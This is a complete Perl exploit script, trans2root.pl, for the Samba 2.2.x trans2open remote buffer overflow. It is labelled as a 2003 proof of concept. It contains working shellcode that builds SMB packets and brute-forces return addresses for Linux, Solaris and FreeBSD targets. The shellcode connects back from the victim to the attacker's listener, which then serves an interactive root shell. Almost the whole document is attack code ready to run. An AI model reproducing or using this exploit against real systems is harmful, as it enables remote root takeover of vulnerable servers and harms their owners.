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Samba 2.2.x remote Buffer Overflow root exploit
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#!/usr/bin/perl
###############
##[ Header
# Name: trans2root.pl
# Purpose: Proof of concept exploit for Samba 2.2.x (trans2open overflow)
# Author: H D Moore <>
# Copyright: Copyright (C) 2003 Digital Defense Inc.
# trans2root.pl -t -H -h
##
use strict;
use Socket;
use IO::Socket;
use IO::Select;
use POSIX;
use Getopt::Std;
$SIG{USR2} = \&GoAway;
my %args;
my %targets =
(
"linx86" => [0xbffff3ff, 0xbfffffff, 0xbf000000, 512, \&CreateBuffer_linx86],
"solx86" => [0x08047404, 0x08047ffc, 0x08010101, 512, \&CreateBuffer_solx86],
"fbsdx86" => [0xbfbfefff, 0xbfbfffff, 0xbf000000, 512, \&CreateBuffer_bsdx86],
# name # default # start # end # step # function
);
getopt('t:M:h:p:r:H:P:', \%args);
my $target_type = $args{t} || Usage();
my $target_host = $args{h} || Usage();
my $local_host = $args{H} || Usage();
my $local_port = $args{P} || 1981;
my $target_port = $args{p} || 139;
my $target_mode = "brute";
if (! exists($targets{$target_type})) { Usage(); }
print "[*] Using target type: $target_type\n";
# allow single mode via the -M option
if ($args{M} && uc($args{M}) eq "S")
{
$target_mode = "single";
}
# the parent process listens for an incoming connection
# the child process handles the actual exploitation
my $listen_pid = $$;
my $exploit_pid = StartListener($local_port);
# get the default return address for single mode
my $targ_ret = $args{r} || $targets{$target_type}->[0];
my $curr_ret;
$targ_ret = eval($targ_ret);
if ($target_mode !~ /brute|single/)
{
print "[*] Invalid attack mode: $target_mode (single or brute only)\n";
exit(0);
}
if ($target_mode eq "single")
{
$curr_ret = $targ_ret;
if(! $targ_ret)
{
print "[*] Invalid return address specified!\n";
kill("USR2", $listen_pid);
exit(0);
}
print "[*] Starting single shot mode...\n";
printf ("[*] Using return address of 0x%.8x\n", $targ_ret);
my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $targ_ret);
my $ret = AttemptExploit($target_host, $target_port, $buf);
sleep(2);
kill("USR2", $listen_pid);
exit(0);
}
if ($target_mode eq "brute")
{
print "[*] Starting brute force mode...\n";
for (
$curr_ret =$targets{$target_type}->[1];
$curr_ret >= $targets{$target_type}->[2];
$curr_ret -=$targets{$target_type}->[3]
)
{
select(STDOUT); $|++;
my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $curr_ret);
printf (" \r[*] Return Address: 0x%.8x", $curr_ret);
my $ret = AttemptExploit($target_host, $target_port, $buf);
}
sleep(2);
kill("USR2", $listen_pid);
exit(0);
}
sub Usage {
print STDERR "\n";
print STDERR " trans2root.pl - Samba 2.2.x 'trans2open()' Remote Exploit\n";
print STDERR "===================================\n\n";
print STDERR " Usage: \n";
print STDERR " $0 -t -H -h \n";
print STDERR " Options: \n";
print STDERR " -M (S|B) \n";
print STDERR " -r \n";
print STDERR " -p \n";
print STDERR " -P \n";
print STDERR " Targets:\n";
foreach my $type (keys(%targets))
{
print STDERR " $type\n";
}
print STDERR "\n";
exit(1);
}
sub StartListener {
my ($local_port) = @_;
my $listen_pid = $$;
my $s = IO::Socket::INET->new (
Proto => "tcp",
LocalPort => $local_port,
Type => SOCK_STREAM,
Listen => 3,
ReuseAddr => 1
);
if (! $s)
{
print "[*] Could not start listener: $!\n";
exit(0);
}
print "[*] Listener started on port $local_port\n";
my $exploit_pid = fork();
if ($exploit_pid)
{
my $victim;
$SIG{USR2} = \&GoAway;
while ($victim = $s->accept())
{
kill("USR2", $exploit_pid);
print STDOUT "\n[*] Starting Shell " . $victim->peerhost . ":" . $victim->peerport . "\n\n";
StartShell($victim);
}
exit(0);
}
return ($exploit_pid);
}
sub StartShell {
my ($client) = @_;
my $sel = IO::Select->new();
Unblock(*STDIN);
Unblock(*STDOUT);
Unblock($client);
select($client); $|++;
select(STDIN); $|++;
select(STDOUT); $|++;
$sel->add($client);
$sel->add(*STDIN);
print $client "echo \\-\\-\\=\\[ Welcome to `hostname` \\(`id`\\)\n";
print $client "echo \n";
while (fileno($client))
{
my $fd;
my @fds = $sel->can_read(0.2);
foreach $fd (@fds)
{
my @in = <$fd>;
if(! scalar(@in)) { next; }
if (! $fd || ! $client)
{
print "[*] Closing connection.\n";
close($client);
exit(0);
}
if ($fd eq $client)
{
print STDOUT join("", @in);
} else {
print $client join("", @in);
}
}
}
close ($client);
}
sub AttemptExploit {
my ($Host, $Port, $Exploit) = @_;
my $res;
my $s = IO::Socket::INET->new(PeerAddr => $Host, PeerPort => $Port, Type
=> SOCK_STREAM, Protocol => "tcp");
if (! $s)
{
print "\n[*] Error: could not connect: $!\n";
kill("USR2", $listen_pid);
exit(0);
}
select($s); $|++;
select(STDOUT); $|++;
Unblock($s);
my $SetupSession =
"\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01".
"\x00\x00\x00\x00";
my $TreeConnect =
"\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00".
"\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24".
"\x25\x6e\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50".
"\x43\x24";
my $Flush = ("\x00" x 808);
print $s $SetupSession;
$res = ReadResponse($s);
print $s $TreeConnect;
$res = ReadResponse($s);
# uncomment this for diagnostics
#print "[*] Press Enter to Continue...\n";
#$res = ;
#print "[*] Sending Exploit Buffer...\n";
print $s $Exploit;
print $s $Flush;
ReadResponse($s);
close($s);
}
sub CreateBuffer_linx86 {
my ($Host, $Port, $Return) = @_;
my $RetAddr = eval($Return);
$RetAddr = pack("l", $RetAddr);
my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
$a1 = chr(ord($a1) ^ 0x93);
$a2 = chr(ord($a2) ^ 0x93);
$a3 = chr(ord($a3) ^ 0x93);
$a4 = chr(ord($a4) ^ 0x93);
my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
$p1 = chr(ord($p1) ^ 0x93);
$p2 = chr(ord($p2) ^ 0x93);
my $exploit =
# trigger the trans2open overflow
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
GetNops(772) .
# xor decoder courtesy of hsj
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
"\x93\x40\xe2\xfa".
# reverse-connect, mangled lamagra code + fixes
"\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b".
"\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a".
"\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d".
$p1.$p2 ."\x54\xd6\x63". $a1.$a2.$a3.$a4.
"\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67".
"\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e".
"\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b".
"\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60".
"\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa".
"\xfd\xbc\xe0\xfb".
GetNops(87).
($RetAddr x 8).
"DDI!". ("\x00" x 277);
return $exploit;
}
sub CreateBuffer_solx86 {
my ($Host, $Port, $Return) = @_;
my $RetAddr = eval($Return);
my $IckAddr = $RetAddr - 512;
$RetAddr = pack("l", $RetAddr);
$IckAddr = pack("l", $IckAddr);
# IckAddr needs to point to a writable piece of memory
my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
$a1 = chr(ord($a1) ^ 0x93);
$a2 = chr(ord($a2) ^ 0x93);
$a3 = chr(ord($a3) ^ 0x93);
$a4 = chr(ord($a4) ^ 0x93);
my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
$p1 = chr(ord($p1) ^ 0x93);
$p2 = chr(ord($p2) ^ 0x93);
my $exploit =
# trigger the trans2open overflow
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
GetNops(813) .
# xor decoder courtesy of hsj
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
"\x93\x40\xe2\xfa".
# reverse-connect, code by bighawk
"\x2b\x6c\x6b\x6c\xaf\x64\x43\xc3\xa2\x53\x23\x09\xc3\x1a\x76\xa2".
"\x5a\xc2\xd2\xd2\xc2\xc2\x23\x75\x6c\x46\xa2\x41\x1a\x54\xfb".
$a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
"\xf5\xc2\x1a\x75\xf9\x83\xc5\xc4\x23\x78\x6c\x46\xa2\x41\x21\x9a".
"\xc2\xc1\xc4\x23\xad\x6c\x46\xda\xea\x61\xc3\xfb\xbc\xbc\xe0\xfb".
"\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc3\xc0\x1a\x71\xc3\xc1\xc0\x23\xa8".
"\x6c\x46".
GetNops(87) .
"010101".
$RetAddr.
$IckAddr.
$RetAddr.
$IckAddr.
"101010".
"DDI!". ("\x00" x 277);
return $exploit;
}
sub CreateBuffer_bsdx86 {
my ($Host, $Port, $Return) = @_;
my $RetAddr = eval($Return);
my $IckAddr = $RetAddr - 512;
$RetAddr = pack("l", $RetAddr);
$IckAddr = pack("l", $IckAddr);
# IckAddr needs to point to a writable piece of memory
my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
$a1 = chr(ord($a1) ^ 0x93);
$a2 = chr(ord($a2) ^ 0x93);
$a3 = chr(ord($a3) ^ 0x93);
$a4 = chr(ord($a4) ^ 0x93);
my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
$p1 = chr(ord($p1) ^ 0x93);
$p2 = chr(ord($p2) ^ 0x93);
my $exploit =
# trigger the trans2open overflow
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
GetNops(830) .
# xor decoder courtesy of hsj
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
"\x93\x40\xe2\xfa".
# reverse-connect, code by bighawk
"\xa2\x5a\x64\x72\xc2\xd2\xc2\xd2\xc2\xc2\x23\xf2\x5e\x13\x1a\x50".
"\xfb". $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
"\xf5\xc2\x1a\x75\x21\x83\xc1\xc5\xc3\xc3\x23\xf1\x5e\x13\xd2\x23".
"\xc9\xda\xc2\xc0\xc0\x5e\x13\xd2\x71\x66\xc2\xfb\xbc\xbc\xe0\xfb".
"\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc2\xc7\xc0\xc0\x23\xa8\x5e\x13".
GetNops(87) .
"010101".
$RetAddr.
$IckAddr.
$RetAddr.
$IckAddr.
"101010".
"DDI!". ("\x00" x 277);
return $exploit;
}
sub Unblock {
my $fd = shift;
my $flags;
$flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
}
sub GoAway {
exit(0);
}
sub ReadResponse {
my ($s) = @_;
my $sel = IO::Select->new($s);
my $res;
my @fds = $sel->can_read(4);
foreach (@fds) { $res .= <$s>; }
return $res;
}
sub HexDump {
my ($data) = @_;
my @x = split(//, $data);
my $cnt = 0;
foreach my $h (@x)
{
if ($cnt > 16)
{
print "\n";
$cnt = 0;
}
printf("\\x%.2x", ord($h));
$cnt++;
}
print "\n";
}
# thank you k2 ;)
sub GetNops {
my ($cnt) = @_;
my @nops = split(//,"\x99\x96\x97\x95\x93\x91\x90\x4d\x48\x47\x4f\x40\x41\x37\x3f\x97".
"\x46\x4e\xf8\x92\xfc\x98\x27\x2f\x9f\xf9\x4a\x44\x42\x43\x49\x4b".
"\xf5\x45\x4c");
return join ("", @nops[ map { rand @nops } ( 1 .. $cnt )]);
}
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